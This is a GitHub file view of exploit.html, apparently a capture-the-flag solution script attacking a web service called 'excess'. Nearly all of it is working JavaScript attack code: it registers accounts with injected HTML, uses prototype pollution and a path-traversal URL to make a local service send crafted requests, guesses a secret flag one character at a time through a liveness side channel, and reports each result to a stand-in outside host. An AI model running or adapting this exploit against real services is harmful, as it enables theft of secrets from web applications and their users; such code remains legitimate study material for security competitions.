-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathexploit.html
178 lines (134 loc) · 3.9 KB
/
exploit.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<title>exploit</title>
</head>
<body>
<script>
const EXCESS_URL = 'http://excess.example:12345/';
const INTERNAL_EXCESS_URL = 'http://localhost:31337';
const REPORT_URL = 'http://ngrok.example:12345/report';
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
const loadState = () => {
const hash = location.hash.slice(1) || '{}';
const state = JSON.parse(decodeURIComponent(hash));
if (typeof state.prefix === 'undefined') {
state.prefix = '{';
}
if (typeof state.index === 'undefined') {
state.index = 0;
}
return state;
};
const saveState = (state) => {
location.hash = encodeURIComponent(JSON.stringify(state));
location.reload();
};
const report = value => {
const data = encodeURIComponent(JSON.stringify(value));
const url = `${REPORT_URL}?report=${data}`;
return fetch(url, {
method: 'GET',
mode: 'no-cors',
}).catch(() => { });
};
const register = credentials => {
const url = `${EXCESS_URL}/api/register`;
return fetch(url, {
method: 'POST',
body: credentials,
mode: 'cors',
}).then(x => true).catch(x => false);
};
const constructCredentials = prefix => {
const random = Math.random().toString();
const html = (
`<object data='/api/messages?content=${prefix}'>` +
`<img src='/api/message/${random}%ff' loading='lazy'>` +
`</object>`
);
return `name=${html}&password=x`;
};
const constructPollution = credentials => {
const pollution = [
['__proto__', 'headers', [['Range', 'bytes=17-']]],
['__proto__', 'method', 'POST'],
['__proto__', 'body', credentials],
];
return JSON.stringify(pollution);
};
const livenessProbe = async results => {
return fetch(EXCESS_URL, { method: 'HEAD', mode: 'cors', cache: 'no-store' })
.then(_ => results.push('alive'))
.catch(_ => results.push('dead'));
};
const startLivenessCheck = (ctx, timeout) => {
ctx.probes = [];
ctx.results = [];
ctx.initialized = true;
ctx.interval = setInterval(
() => ctx.probes.push(livenessProbe(ctx.results)),
timeout,
);
};
const stopLivenessCheck = async ctx => {
if (ctx.initialized !== true) {
return;
}
clearInterval(ctx.inverval);
await sleep(100);
await Promise.all(ctx.probes);
return ctx.results;
};
const testPrefix = async (wnd, prefix) => {
const random = Math.random().toString();
const credentials = constructCredentials(prefix);
if (!(await register(credentials))) {
return 'registration failed';
}
const pollution = constructPollution(credentials);
const ctx = {};
try {
startLivenessCheck(ctx, 2);
await sleep(100);
const url = `${INTERNAL_EXCESS_URL}/message/${random}%2f..%2f..%2fregister#${encodeURIComponent(pollution)}`;
wnd.location.href = url;
await sleep(2000);
} finally {
await stopLivenessCheck(ctx);
}
if (ctx.results.some(result => result == 'dead')) {
return false;
}
return true;
};
const main = async () => {
const alphabet = '0123456789abcdef-}';
const state = loadState();
await report(state);
const wnd = window.open();
await sleep(1000);
const symbol = alphabet[state.index];
const new_prefix = state.prefix + symbol;
let result = true;
for (let i = 0; i < 5; i += 1) {
if (!(await testPrefix(wnd, new_prefix))) {
result = false;
break;
}
}
wnd.close();
if (result) {
state.prefix = new_prefix;
state.index = 0;
} else {
state.index += 1;
}
saveState(state);
};
main()
.catch(error => report({ error: error.toString(), stack: error.stack }));
</script>
</body>
</html>